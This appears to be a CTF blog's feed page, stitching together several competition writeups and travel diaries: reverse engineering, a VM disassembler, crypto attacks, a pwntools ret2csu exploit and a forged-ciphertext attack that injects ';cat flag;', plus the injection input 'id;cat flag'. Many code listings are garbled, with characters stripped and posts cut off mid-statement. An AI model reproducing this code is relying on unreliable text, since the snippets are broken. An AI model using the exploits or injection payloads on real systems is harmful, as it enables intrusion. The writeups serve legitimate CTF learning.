mcfx's blog - ctf /category/ctf/ 腾讯极客技术挑战赛 第三期 码上种树 Writeup /archives/293/ 2021-03-15T18:11:00+08:00 ## 批量种树 & 前两题 首先 F12 一下,看看请求,可以发现先 pull 了一个 js,然后把 js 运行的结果返回上去,就成功种下一棵树。那么可以写个脚本快速种树: ```python import requests def pull(): return requests.get('http://159.75.70.9:8081/pull?u=xxx').json() def push(t, a): return requests.get('http://159.75.70.9:8081/push', params={'t': t, 'a': a}).json() def tree(): q = pull() print(q) c = q['c'] t = q['t'] if c == 'A274075A': a = q['a'][0] elif c == 'A3C2EA99': a = q['a'][0] a = a * a + a else: assert False r = push(t, a) print(r) while True: tree() ``` 看到服务器的 ip 在广州,于是把脚本放在那边的 vps 上跑,就种的比较快。 前两题非常简单,就不多说了。 ## 第三题(100000) 题目中有用的部分如下: ```js window[g('0x0')] = function (h) { var i = 0x30d3f; for (var j = 0x30d3f; j > 0x0; j--) { var k = 0x0; for (var l = 0x0; l < j; l++) { k += h['a'][0x0]; } k % h['a'][0x2] == h['a'][0x1] && j < i && (i = j); } return i; }; ``` 只需要优化内层循环就可以有足够的速度了。(下面的代码需要加在前面的脚本的后面) ```python elif c == 'A5473788': a = q['a'] i = 0x30d3f for j in range(0x30d3f, -1, -1): k = a[0] * j if k % a[2] == a[1] and j < i: i = j a = i ``` ## 第四题(250000) 一个基本只包含 `+()![]` 的 js。虽然之前看到过类似的混淆,但是没搜到直接能用的反混淆工具。 观察发现这里面大量代码只是为了生成常量,比如 ```js (!![] + [][(![] + [])[+[]] + ([![]] + [][[]])[+!+[] + [+[]]] + (![] + [])[!+[] + !+[]] + (!![] + [])[+[]] + (!![] + [])[!+[] + !+[] + !+[]] + (!![] + [])[+!+[]]])[+!+[] + [+[]]] ``` 只是为了生成 `o`。手动发现并替换掉这些常量后,代码就可读了不少: ```js window.A593C8B8=async(_)=>(($,_,__,___,____)=>{let _____=function*(){while([])yield[(_,__)=>_+__,(_,__)=>_-__,(_,__)=>_*__][++__%(3)]['bind'](0,___,____)}();let ______=function(_____,______,_______){____=_____;___=______['next']()['value']();__==_['a']['length']&&_______(-___)};return new Promise(__=>_['a']['for'+([]['filter']['constructor']('return/0/')()['constructor']+[])['12']+'a'+([]['filter']+[])[3]+'h'](___=>$['setTimeout'](____=>______(___,_____,__),___)))})(window,_,+[],+[],+[]) ``` 格式化并替换掉变量名: ```js window.A593C8B8 = async (a) => { var b = 0, c = 0, d = 0; let e = function* () { while ([]) yield [(a, b) => a + b, (a, b) => a - b, (a, b) => a * b][++b % (3)]['bind'](0, c, d) }(); let f = function (e, f, g) { d = e; c = f['next']()['value'](); console.log(d + ' ' + c); b == a['a']['length'] && g(-c) }; return new Promise(b => a['a']['forEach'](c => setTimeout(d => f(c, e, b), c))) } ``` 可以发现是按照 a 数组的值 setTimeout 对应时间,再做加减乘的运算。setTimeout 的部分可以用排序代替。 ```python def q4(s): s.sort() c = 0 d = 0 v = [lambda x, y:x + y, lambda x, y:x - y, lambda x, y:x * y] for i in range(len(s)): d = s[i] c = v[(i + 1) % 3](c, d) return -c ``` ## 第五题(500000) js 加载了一段 wasm,并把 Math 传了进去。使用 wasm2c 可以反编译得到 C 代码: ```c extern int ffimport$0(int local0, int local1); /* import */ extern int ffimport$1(int local0, int local1); /* import */ int f0(int local0, int local1) { // Parsed WASM function locals: int local2; int local3; int local4; int local5; int local6; int local7; local2 = local0; if (local4 = local1 - 1) { while (1) { // Loop name: 'label$2' local3 = local2; local6 = 0; local7 = 10; while (1) { // Loop name: 'label$3' local5 = local3 % 10; local3 = local3 / 10; local6 = ffimport$1(local5, local6); ; local7 = ffimport$0(local5, local7); ; if (local3 > 0) break; } // End of loop 'label$3' local2 = local2 + local6 * local7; if ( local4 = local4 - 1; ) break; } // End of loop 'label$2' } // local2} ``` 可以看出,程序把 local2 的每一位用两个外部函数(ffimport)运算,然后乘积加回到 local2 上,重复 local0 这么多次。 而直接查看 wasm 就可以得知这两个外部函数分别是 min 和 max: ![image-20210315201323559](https://cdn.mcfx.work/typora-tmp/image-20210315201323559.png) 这样就可以用 python 实现了: ```python def f(x, y): for i in range(y - 1): s = list(map(int, str(x))) x += max(s) * min(s) return x ``` 但是这个实现不够快。其实要加快也很简单,可以发现 min(s) 为 0 时就可以不继续算了,加上这个判断就可以很快得出结果。 ## 第六题(1000000) 不难看出是一个栈式虚拟机,照着代码抄一遍可以写一个反汇编器出来。(代码可以在 https://github.com/mcfx0/qq_geek_tree 找到,这里就不放了) ``` 0 resize stack 3 2 or stack[2], [] 4 push "" 5 concat s1, char(119) # w 7 concat s1, char(105) # i 9 concat s1, char(110) # n 11 concat s1, char(100) # d 13 concat s1, char(111) # o 15 concat s1, char(119) # w 17 pop 1; push [window, s1] 18 push "" 19 concat s1, char(67) # C 21 concat s1, char(65) # A 23 concat s1, char(49) # 1 25 concat s1, char(56) # 8 27 concat s1, char(48) # 0 29 concat s1, char(55) # 7 31 concat s1, char(69) # E 33 concat s1, char(66) # B ``` 反汇编之后,发现有大量的代码其实是在构造字符串,于是把这部分也处理成一条 push 字符串的指令。 ``` 125 pop 1; push s1 126 push stack[s1[0]][0] 138 push "BigInt" 140 pop 1; push [window, s1] 154 push "1661594" 156 pop 1; push s1[0][s1[1]](s1[0], stack[-1:]) 158 pop 1; mul s2, s1 159 mov stack[s2[0]][0], s1 160 swap stack[-2], s1 162 push [6] 164 pop 1; push s1 165 push stack[s1[0]][0] 177 push "BigInt" 179 pop 1; push [window, s1] 211 push "1125899906842597" 213 pop 1; push s1[0][s1[1]](s1[0], stack[-1:]) 215 mod s2, s1 216 mov stack[s2[0]][0], s1 217 swap stack[-2], s1 ``` 往后翻,看到了 BigInt 和 mod 操作,于是猜想可能是对输入做若干操作然后模这个大数。在浏览器中运行一遍函数,传 12 个 0 进去,可以得到结果为 6,这像是 6 个 1 相加,而操作应该是乘方。改成 1 和 11 个 0,结果为 1661599,这就比较像是 6 个乘积之和了。 继续实验可以发现,这个代码内置了 12 个数 $b_0,\dots, b_{11}$,而答案是 $\sum_{i=0}^5 b_{2i}^{a^{2i}}b_{2i+1}^{a_{2i+1}}\bmod 1125899906842597$。 于是用快速幂(比如 python 的 pow)来完成这个操作即可。 ### 小插曲(1010000) 脚本跑到 1010000 时,发现下发的 js 变了。下载下来查看,发现还是虚拟机,但是指令编码变了,内置的常数也变了。那么我们应该需要一个办法来快速找到这些常数。 这个虚拟机构造字符串的方法是 $[op,char_1,op,char_2,\dots,op,char_n]$,其中 op 是指令编号,$char_i$ 是字符串的第 i 个字符。由于这些 BigInt 也是如此构造的,可以发现这些 $char_i$ 全是数字,而利用这个特点可以高效地找到所需的常数。具体可以看下面的代码。 ```python def find_q6_nums(s): def isnum(x): return x >= 48 and x 1: break a.add(s[j - 1]) b.append(s[j]) j += 2 if len(b) < 5: i += 1 continue x = list(a)[0] y = int(''.join(map(chr, b))) if x not in res: res[x] = [] res[x].append(y) i = j for x in res: if len(res[x]) >= 10: t = res[x] r2 = [] for i in range(len(t)): if t[i] > 10**10: mod = t[i] if t[i - 1] 强网杯 2020 游记 /archives/291/ 2020-11-08T08:49:58+08:00 # Day 0 这个比赛在周中举办就非常不友好,有若干事情要忙,傍晚才能出发。然后因为出发的略晚没赶上火车,在路上改签才赶上(然后这班晚 15 分钟出发的车晚一个小时到)(为啥要改签只晚 15 分钟出发的车呢?因为没有更晚的动车 or 高铁了)。 到酒店后,看了会番,然后睡觉。 # Day 1 早饭还不错。 到了现场,发现这比赛是专门新修了一栋楼。然后酒店到这栋楼的路上,两边全是网络安全宣传周的各种标语。赛场所在的房间也特别酷炫,颇有一种《亲爱的,热爱的》里面的感觉了。 ![](https://cdn.mcfx.work/blog/20201108-qwb/1.png) 此图是队友拍摄,由于没有保存,只能去微信缓存截图,所以清晰度较低。 比赛有四道 AD 题和若干 RW 题。RW 题大概就是对真实世界里的东西进行 pwn,然后上台去演示 exp。AD 题和 DEFCON 的模式差不多,是提交 patch 的形式。 我粗略的看了看这些 RW,发现可能也就一道比较可做,不过也打算在晚上再做,现在做 AD 比较划算。 第一道 AD(没记错的话)是个简单的 pwn,不过我也还是不太会,只能帮着看看。 (后来具体干了啥也不太记得清了,总之第一天基本也没干什么,就随便看了看,有的题倒是花了不少功夫看,但是也没看出什么东西) 第一天最后,放了一道 sort。我看了看,发现非常适合我来做。 题目给了一个 binary,内置了一个虚拟机,然后内置了一段代码,我只能 patch 这段代码。执行的时候,他会把内置的代码和别人发来的代码一起跑,然后需要做到的功能是排序一个长为 100 的数组。谁用的指令数少就赢了。 如果我去打别人,我赢了,我就有攻击分。如果我比所有别人打我的都厉害,我就有防御分。这其实是用 AD 的形式搞了个 KoH。 对于这道题,显然可以有若干种排序方法,并且我感觉都不难实现。 回到酒店,吃过饭,我先逆出了虚拟机的 opcode,然后写了个汇编器。 然后就是写若干种排序了。由于以为这题会给流量,为了防止别人抄做法,我特意写了多种所需时间不同的算法,然后打算用刚好比别人优一点的做法去打。具体来说,我写了插入排序、冒泡排序、快排等多种算法,并且在里面还加入了一些劣化。 快排里面,我发现长度为 2 或 3 的时候很慢,于是也加了特判,快速处理。 写完这些,也已经三点过快四点了,于是我去睡觉了。 # Day 2 第二天,经过询问主办方,我得知其实不会给流量,那么可以直接用最优的算法打了。 比赛正式开始了,我打出去却发现,这个优化的快排只能打过 30 个队,还有一个队比我优。 于是我开始了费劲的优化。我把长度为 4 到 9 都加上了特判(暴搜决策树,或者暴搜快排决策树,或者暴搜快排状态,总之可以比裸循环的快排快不少),结果最后还是只能优化 20% 左右,但是那个队比我快 30%。 在某一次上厕所时,我突然想到,可以基数排序(桶排序)。回来之后立刻实现了一个,发现确实能行,而且很快。于是搞了个桶排序,终于反超了。 最后,我进一步优化了桶排序的实现,然后适当减小了桶的个数,然后把每个桶內部改成之前的优化冒泡排序,达到了非常小的指令数(其实也就是比那个队再快 20% 的水平)。这个第一名一直保持到了最后。 剩下的时间,帮着看了看别的题,不过也没啥实际贡献吧。。 晚上是个莫名其妙的活动,“高新之夜”,实际上就是一群人蹦迪。 ![](https://cdn.mcfx.work/blog/20201108-qwb/2.jpg) 我当时只是听说有免费酒水,于是就去了,不过虽然没蹭到酒水,倒是面到了几个群友。比如青少年组的 hasu 和李大哥。(当然还有某个北大队的队员) 顺便我还在这个网络安全科技馆中拍到了不少好图: ![](https://cdn.mcfx.work/blog/20201108-qwb/3.jpg) 真·网络安全演练 ![](https://cdn.mcfx.work/blog/20201108-qwb/4.jpg) 共 筑 网 络 长城 # Day 3 看前三名决斗,以及颁奖。 这个决斗过程其实没啥好看的,因为我们也接触不到题。 颁奖的话,主持人念了个比较怪的强网宣言: ![](https://cdn.mcfx.work/blog/20201108-qwb/5fix.jpg) 然后颁完奖,回学校。顺便晚上去和光光和 O 等人去桃李地下吃了顿。 DEFCON CTF 2020 游(线上)记 /archives/288/ 2020-07-03T17:03:00+08:00 本次 DEFCON CTF,因为疫情原因,便进入了“SAFE MODE”,也就是线上举办。而为了“照顾”到所有地区的参赛者,他们也没有按照正常的时间来办,而是把整个比赛分为了四个“shift”,每个 shift 长为 8 小时,每两个 shift 之间间隔 9 小时,另外在每个 shift 开始之前,会有 1 小时的准备时间。第一个 shift 从北京时间 8 月 7 日晚 8 点开始。稍有常识的读者都能算出,主办方照顾到了所有人,让大家都有两个 shift 在凌晨。 本文为了方便描述,也使用 shift 1~4(准备时间也算入下一个 shift 中),而非之前一些文章中的 DayX,来指代大致时间。另外,为了方便描述 shift 之间,以及比赛开始前的时间,可能也会用到 shift X.5 的描述。 # shift 0.5 比赛前几天去了上海玩,这一天去逛 bw。不过由于配网的锅也丢给了我,所以就在 bw 现场配网。一边看表演一边敲命令,实在是有点草。 主办方赛前称,离他们的基础设施最近的 AWS 区域是 us-west,然而 AWS 没有叫这个的区( 于是我在 us-west-1 和 us-west-2 各开了一台,然后测试用教育网中转 openvpn。(虽然主办方给的 wireguard,但是好像他只让一个客户端连,于是我就用 openvpn 给大家中转了) 配到能用之后,用 iperf3 测了测速,能有 150Mbps,基本还行。 # shift 1 开场时,在 us-west-1 ping 主办方的 vpn endpoint,延迟高达 1ms,看来主办方的全套设施应该也都在 AWS 上吧。 这个 shift 的大多数时间都在路上跑,于是没怎么看题。 中途,刘大爷说下载文件只能 1Mpbs,于是赶紧测试了一下,发现确实如此。把 openvpn 改成 tcp 模式之后也只有 20Mpbs 左右,调了一些别的参数也没啥用,只好将就用。。 # shift 1.5 赶去和大家回合。 # shift 2 开场时,看了看 21 点和之前的某道 pwn,然后发现都不会。 不久之后,放了一道新题,pinboooll。这题给了一个 binary,里面有许多条件判断,每个条件判断通过了可以有一些加分。这些条件判断看起来确实颇有几分三维弹球的味道——有一个状态变量,类似于弹球在整个界面中的位置,当比较靠左时可以用左边的挡板弹,靠右时用右边的挡板弹;另外还有一些时候会触发任务,然后拿到一些“Jackpot”,这些 Jackpot 自然也有额外加分。 binary 最开始会要求给出一个文件名,当这个文件中的不同字符数有 5 个,就成功发射弹球。弹球的初始状态是随机的,不过种子是确定的。 但是,初始状态下,所有操作都执行不了,在研究了好久之后,我发现可以用程序不识别的操作,来避免退出,并获得每轮的加分。 继续逆了两个小时,有人发现可以用 .. 当那个文件名,不在一开始就发射。之后可以操纵一下随机数,跳出这个难受的状态。 跳出这个状态之后,(这篇文章本来是在 8 月份开始写的,但是写到这时咕了,11 月才继续写,很多细节记不清了,接下来的部分大概会简略很多)能做的事情就很多了,但是得分还是很困难。 我尝试着手动构造输入,这持续了整个 shift 的后半段,而排名一直时上时下,最后这个 shift 结束了。 # shift 2.5 继续研究这个 pinboooll。我打算写个脚本,去自动枚举得哪些分,然后构造满足条件的输入。我和大雄合作,他搞算得分的部分,我搞构造输入的部分。肝到凌晨几点时,写的差不多了。但是这时我们发现,这一坨策略好像用处并不是很大。 这个 pinboooll 里面,有一个 secret,猜中就可以得 5000 分(可能记错了,说不定是 2000),还能重复得分,也就是可以直接猜几十次,直到输入长度限制为止。leak 出这个 secret 的脚本倒是之前就写好了。但是我在写构造输入脚本的时候,是按照这个 secret 只能用一次处理的,没想到可以搞这么多分。于是这一堆可能就算是白写了(其实也没完全白写)。 最后,这个输入可以得十万多分,这是什么概念呢,shift 2 结束时最高分还只有三千多。 # shift 3 跑了 leak secret 的脚本,然后得了十万多分,这题暂时第一。实在肝不下去了,睡觉。 一觉醒来,shift 3 已经过去了一大半。此时 pinboooll 的排行榜上,最高分已经二十多万还是三十多万。继续搞了搞,没发现有啥能搞的,正巧此时有一道新题 sloootmachine,我就去凑热闹了。 这一题是一个白盒 aes,具体来说,就是选手互相写一个 aes 加密器,然后你要找出别人的加密器的 key。这题主要是刘大爷在做,我只是去划水,并且直到最后也没有成功输出。(不过我这里写的代码倒是在后面 THUCTF 出题和 TCTF 决赛用到了,这也是另外两个故事了) # shift 3.5 吃饭,划水(sloootmachine)。 # shift 4 划水(sloootmachine)。 不过没多久,这题就下了,于是去看 ropshipai。这题是去年 ropship 的加强版,这次需要写个神经网络来搞。但是他程序有明显的栈溢出。 之前看到这道题,并没有什么好的想法,这时再来看,我就研究这个栈溢出。虽然明显溢出了,但是实际上并不好利用,我搞了好久终于可以往栈上放足够长的数据并且跳过去。 rop 这部分是 M4x 在搞,然后他也调了好久,最后发现,这个程序有 seccomp,实际啥都干不了。 比赛结束,gg。 # shift 4.5 回酒店睡觉。 一觉醒来,已经两点过了,酒店都来催退房了。然后本来订的晚上的机票还 tm 被取消了,航空公司给换了个第二天的。 看到时间勉强够,买了个 3 点过的火车票,赶上了。 颓了一下午,回到了家。 0CTF/TCTF 2020 Quals Writeup /archives/287/ 2020-07-03T03:33:03+08:00 function resizeIframe(){this.style.height=this.contentWindow.document.documentElement.scrollHeight+'px';setTimeout(resizeIframe.bind(this),30)} “第五空间”智能安全大赛 Writeup /archives/285/ 2020-06-29T16:25:00+08:00 function resizeIframe(){this.style.height=this.contentWindow.document.documentElement.scrollHeight+'px';setTimeout(resizeIframe.bind(this),30)} De1CTF 2020 Writeup /archives/284/ 2020-05-06T08:26:00+08:00 # Crypto ## NLFSR 可以发现输出是1时,ao是1的概率有75%。可以枚举前19个ao,解方程得到a的初始值,再枚举c和d的初始值,可以得到b的若干状态,最后解方程得到b,再检验。 ```cpp #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a0?a:-a;} template inline bool repr(T &a,T b){return ab?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a>j&1) { f[i]^=f[j]; v[i]^=v[j]; } uint r=0; fo0(i,19)r+=v[i] PlaidCTF 2020 Writeup /archives/283/ 2020-04-29T05:39:18+08:00 # Crypto ## stegasaurus scratch Given a c file, which calls lua, and we need to finish two tasks. In the first one, we need to construct an injective map between 8 distinct numbers from 0 to 39999, and 7 distinct numbers with their permutation. Note that C(40000,8)/C(40000,7) is about 5000, which is less than 7!, thus it’s possible. We may delete the number which is k-th smallest, where k is the total sum of 8 numbers modulo 8. For any 7-number tuples, there exists about 5000(more precisely, less than 5008) other numbers, such that it will be deleted. We can find the rank of the actual one in them, and encode it into a permutation. In the second task, Alice is given an array of length 96, consists of 32 `2`s and 64 `1`s, she needs to mark 32 of the `1`s to `0`. Bob is given the remaining array, but he only knows whether a number is `0`. He needs to find all “2”s. In fact, the task needs a bijective map from C(96,32) to C(96,32), but each pair don’t have common elements. We may split the sequence into blocks of length 2, if some block is 01 or 10, just flip it. Otherwise, we obtain a new sequence with `11` and `00`, thus it’s the same as the original problem, and we can recursively solve it. ```lua function nthperm(n) s={} t=1 for i=1,7,1 do a=n//t t=t*i b=a//i c=a-i*b s[i]=c+1 end for i=1,7,1 do for j=1,i-1,1 do if s[j]>=s[i] then s[j]=s[j]+1 end end end return s end function permrank(s) s=table.shallow_copy(s) n=0 t=1 for i=7,1,-1 do for j=1,i-1,1 do if s[j]>s[i] then s[j]=s[j]-1 end end end for i=1,7,1 do n=n+(s[i]-1)*t t=t*i end return n end function getdel(s) sum=0 for i=1,8,1 do sum=sum+s[i] end return s[sum-(sum//8)*8+1] end function table.shallow_copy(t) local res={} for k=1,#t,1 do res[k]=t[k] end return res end function count(l,r,r2,v) if(r>r2)then r=r2 end if(l>r)then return 0 end lt=l//8 rt=r//8 if(lt==rt)then if(lx2:x1=x2 return get(x1,y1)==1 or get(x1,y1-1)==1 pos=[(0,0,'','(0,0)')] for i in range(50): npos=set() for x,y,path,his in pos: for nx,ny,d in [(x-1,y,'u'),(x+1,y,'d'),(x,y-1,'l'),(x,y+1,'r')]: if ok_red(x,y,nx,ny): np=path+d if '(%d,%d)'%(nx,ny) in his: continue npos.add((nx,ny,np,his+'(%d,%d)'%(nx,ny))) pos=npos for x,y,path,his in pos: if x==7 and y==7: print(len(path),path) s=nxt(s) ``` ## A Plaid Puzzle It contains a big matrix, elements fall down, change according to the characters of the flag, and interact with each other. In fact, each line of the puzzle is independent. The last element will “eat” every element in front of it, and finally check if it’s equal to some constant. There are 64 different statuses in this process, and in fact it’s just xor (but shuffled). So we can find some relations about the xor, and find the flag by gauss elimination. ```python raw=open('code.txt','r',encoding='utf-8').readlines() cmap={} for i in range(1139,1267): a,b=raw[i].strip().split(' = ') cmap[a]=b cmap['C']='fljldviokmmfmqzd' cmap['F']='iawjsmjfczakueqy' cmap['.']='.' cmap['X']='X' rule1s=[] rule1={} rule1x={} for i in range(64): rule1['char'+str(i)]={} for i in range(1427,5523): t=raw[i].strip() a,b=t[:-6].split(' -> ') ax,ay=a[2:-2].split(' | ') bx,by=b[2:-2].split(' | ') rule1s.append((ay,ax,bx)) rule1[ay][ax]=bx if ax not in rule1x: rule1x[ax]={} rule1x[ax][bx]=ay rule2s=[] rule2={} rule2x={} for i in range(5523,9619): t=raw[i].strip() a,c=t[8:-10].split(' ] -> [ ') a,b=a.split(' | ') rule2s.append((a,b,c)) if a not in rule2: rule2[a]={} rule2[a][b]=c if c not in rule2x: rule2x[c]={} rule2x[c][a]=b rule3s=[] rule3={} for i in range(9619,9747): t=raw[i].strip() a,c=t[2:-10].split(' ] -> [ ') a,b=a.split(' | ') rule3s.append((a,b,c)) if a not in rule3: rule3[a]={} rule3[a][b]=c board=[] for i in range(9760,9806): t=list(raw[i].strip()) for j in range(len(t)): t[j]=cmap[t[j]] board.append(t) board.append(['']*47) board.append(['X']+['char63']*45+['X']) charmap=list(map(chr,range(65,65+26)))+list(map(chr,range(97,97+26)))+list(map(chr,range(48,48+10)))+['{','}'] req='kkavwvmbabfuqctz' slist=[] for x in rule2x[req]: slist.append(rule2x[req][x]) sid={} for i in range(64): sid[slist[i]]=i tbl=[[0]*64 for i in range(64)] for tr in slist: for op1 in range(64): t=board[1][2] v=rule1['char'+str(op1)][t] nxt=rule2x[tr][v] tbl[sid[tr]][op1]=sid[nxt] t=[] u=0 cur=set([u]) while True: x=0 while x>j&1: v=tbl[v][t[j]] for j in range(64): if tbl[u][j]==v: sr.append(j) sl=[] for i in range(64): sl.append(tbl[u][sr[i]]) slrev=[0]*64 for i in range(64): slrev[sl[i]]=i eq=[] for X in range(45,0,-1): cur=[] xor_const=slrev[sid[req]]^slrev[sid[board[X][46]]] for Y in range(1,46): t=board[X][Y] tmp=[0]*6 for i in range(6): k=sr[1i&1) t.append(xor_const>>i&1) eq.append(t) s=eq n=len(s) m=len(s[0]) c=0 for i in range(m-1): if not s[c][i]: t=c+1 while t Midnight Sun CTF 2020 Quals Writeup /archives/281/ 2020-04-05T01:30:00+08:00 # pwn ## admpanel Run `id;cat flag`. ## Pwny racing - pwn1 ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information. ```python from pwn import * from time import sleep p=ELF('./pwn1') main_addr=0x400698 main_end_addr=0x40070b csu_end_addr=0x40077a csu_front_addr=0x400760 fakeebp = b'b' * 8 bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one libc=ELF('./libc.so') r=remote('pwn1-01.play.midnightsunctf.se',10001) def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0 # rbp should be 1, disable jump # r12 should be the function we want to call # rdi=edi=r13 Codegate CTF 2020 Preliminary Writeup /archives/279/ 2020-03-01T04:58:48+08:00 # Misc ## Verifier 一个用 ply.yacc 实现的语法分析器,要写一段代码 print 一个小于 0 的数。但是他会先进行预处理,并求出每个变量可能的最小值和最大值,当 print 的输入的最小可能值小于 0 时会退出。 在预处理 while 时,他只会尝试运行 3 次,那么一个在第 4 次或之后才被修改的值就不会被预处理考虑到。 ``` T=10;A=1;B=1;[T>1{T=T+-1;A==5?{B=-1}:{A=A};A==-1?{A=5}:{A=A};A==0?{A=-1}:{A=A};A==4?{A=0}:{A=A};A==3?{A=4}:{A=A};A==2?{A=3}:{A=A};A==1?{A=2}:{A=A};!T}];!B ``` # Crypto ## halffeed 程序每轮会把一个 tag 和明文异或得到密文,然后 `tag=cipher[:8]+plain[8:]` ,然后用 key 对 tag 加密,同时 key 本身也会被加密(相当于一个固定的 key 生成器)。 需要得到一个包含 `;cat flag;` 的字符串,但是不能直接对包含 `cat flag` 的字符串加密。 Tag 可以直接由明密文异或得到,考虑 `randchar`\*8 + `;cat fla` 和 `randchar`\*16+`g;`+.....,他们处理后的tag有概率前两位相同(生日攻击),这样就可以拼出一个完整的 cat flag。 ```python from pwn import * import random def getconn(): #return process(['python3','prob.py']) return remote('110.10.147.44',7777) def encrypt(s): if type(s) is str: s=s.encode() print(s.hex()) r=getconn() r.send('1\n') r.send(s.hex()+'\n') r.recvuntil('ciphertext = ') cipher=bytes.fromhex(r.recv(len(s.hex())).decode()) r.recvuntil('tag = ') tag=bytes.fromhex(r.recv(32).decode()) r.send('4\n') r.close() return cipher,tag def getflag(nonce,cipher,tag): r=getconn() r.send('3\n') r.send(nonce.hex()+'\n') r.send(cipher.hex()+'\n') r.send(tag.hex()+'\n') r.interactive() def xor(a,b): return bytes(b1 ^ b2 for b1, b2 in zip(a,b)) def getrnd(n): return bytes([random.randint(0,255)for i in range(n)]) #print(encrypt(b'\0'*128)) a=b'\0'*8+b';cat fla' b=b'\0;'+b'\0'*14 br=b'g;'+b'\0'*14 mapa={} mapb={} res=None #mapa[b'\x99(']=b'\xa3\xab\xcd\xa6W\xbaT\xc8;cat fla' #mapb[b'\x99(']=b'\x93\xf0\x0f\xd9m\xb7\xa1gy\x07\nX\nY\xed\xe3' #res=b'\x99(' while 1: at=getrnd(8)+a[8:] ci,ta=encrypt(at+b) ac=ci[:16] bc=ci[16:] tb=xor(b,bc) bc2=xor(br,tb) nt=bc2[:8]+b[8:] #print(nt[:2]) mapa[nt[:2]]=at ut=getrnd(16) ci,ta=encrypt(ut+b'\0'*32) xc=ci[:16] yc=ci[16:32] zc=ci[32:] #print(yc[:2]) mapb[yc[:2]]=ut for i in mapa: if i in mapb: res=i if res is not None: break #print(res,mapa[res],mapb[res]) at=mapa[res] ci,ta=encrypt(at+b) #print('A',(at+b).hex()) ac=ci[:16] bc=ci[16:] tb=xor(b,bc) bc2=xor(br,tb) nt=bc2[:8]+b[8:] ut=mapb[res] ci,ta=encrypt(ut+b'\0'*32) xc=ci[:16] yc=ci[16:32] nt2=yc[:8]+b'\0'*8 #print(nt2.hex()) zc=ci[32:] #print(yc[:2]) #print(ci,ta) #print(xor(yc,nt)) #print(xor(nt2,nt)) #print((xor(nt2,tb)[:8]+nt2[8:]).hex()) #src= at+xor(nt2,tb)[:8]+nt2[8:]+b'\0'*16 getflag(b'\0'*16,ac+xor(xor(nt2,tb)[:8]+nt2[8:],tb)+zc,ta) ``` ## MUNCH 需要分解 1024 位的 n。其中 p 给出了 从 0,146,292,438 bit 开始的 111bit。 给出的方法是,另外钦定一个质数 mod,然后给出若干对 k_i\*px%mod 的高几十位。这些 k_i 基本都是随机的。 考虑 LLL 算法可以求出若干个向量的较小的线性组合,可以构造下面这些向量: ``` (每个 k_i*px 的有效值) + (若干 0) (每个 k_i) + 一个奇怪的常数 C + (若干 0) 接下来若干行,每行是 (前若干个里,第 i 行的第 i 个位置是 mod) + 0 + (后若干个里,第 i 行的第 i 个位置是 1) ``` 这样的话,一种可能较小的线性组合就是第一个向量加上若干个后面的向量再减若干个第二个向量。这时那个奇怪的常数就是求出的 px 了。至于这个常数应该取多少,以及这为啥能奏效,我就不知道了(试出来的结果是 1 HackTM CTF Quals 2020 Writeup /archives/278/ 2020-02-06T03:32:00+08:00 由于寒假比较闲,所以找点比赛打。由于需要上交 wp,所以是英文的。 # Crypto ## RSA is easy #1 Since $$N$$ is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it. ```python e=65537 n=... s=[...(encrypted flag)] from gmpy2 import * f={} for j in range(32,127): f[j**e%n]=j r='' for i in s: r+=chr(f[i]) print r ``` ## RSA is easy #2 We doesn't know $$N$$, but we know that $$c=n^e\ mod\ N$$. So $$N$$ is a factor of $$n^e-c$$. Then for two $$c$$, we can check all $$n$$, and calculate their $$gcd$$. Then just follow #1. ```python from gmpy2 import * s=open('c').read() s1='Encrypted flag:' s=s[s.find(s1)+len(s1):] s=eval(s.strip()) a=s[0] b=s[1] for i in range(97,97+26): for j in range(97,97+26): t=gcd(i**65537-a,j**65537-b) if t>100: print '|',t print i ``` ## Prison Break Maintain the difference of every two adjacent numbers. ```cpp #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a0?a:-a;} template inline bool repr(T &a,T b){return ab?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a> >>.>*./N>.NN/N>N . /N >N>/>/>N/ WN V*\\NVW\WVN* NVNN WN\ \ . *.NN . N NWW\\.W\ W\\ NW N\W ``` ```python from Crypto.Cipher import AES c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex') iv = '42042042042042042042042042042042'.decode('hex') def chk(key): aes = AES.new(key,AES.MODE_CBC, iv) r=aes.decrypt(c) for i in r: if ord(i)126: return False print(r) return True def chkn(x): r='' for i in range(32): r+=chr(x&255) x>>=8 assert x==0 r=r[::-1] return chk(r) a,b=open('key.txt').readlines()[:2] a=a.strip() b=b.strip() va={'>':2, '/':1, 'N':3, ' ':0, '.':0} vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2} unk=[] tot=0 for i in range(59): p=58-i po=20**i if a[p]=='*': assert b[p]=='*' unk.append((po,i)) else: tot+=(va[a[p]]*5+vb[b[p]])*po def dfs(x,cur): if x==len(unk): return chkn(cur) for i in range(20): dfs(x+1,cur+unk[x][0]*i) dfs(0,tot) ``` # Forensics ## RR It seems to be raid5. After some observation, I found the way to decrypt it. (decrypt script, 2.img is the $$xor$$ of 1.img and 3.img) ```cpp #include typedef unsigned int uint; typedef long long ll; typedef unsigned long long ull; typedef double lf; typedef long double llf; typedef std::pair pii; #define xx first #define yy second template inline T max(T a,T b){return a>b?a:b;} template inline T min(T a,T b){return a0?a:-a;} template inline bool repr(T &a,T b){return ab?a=b,1:0;} template inline T gcd(T a,T b){T t;if(a>3 return s[:xt]+bytes([s[xt]^(13 return s[:xt]+bytes([s[xt]^(1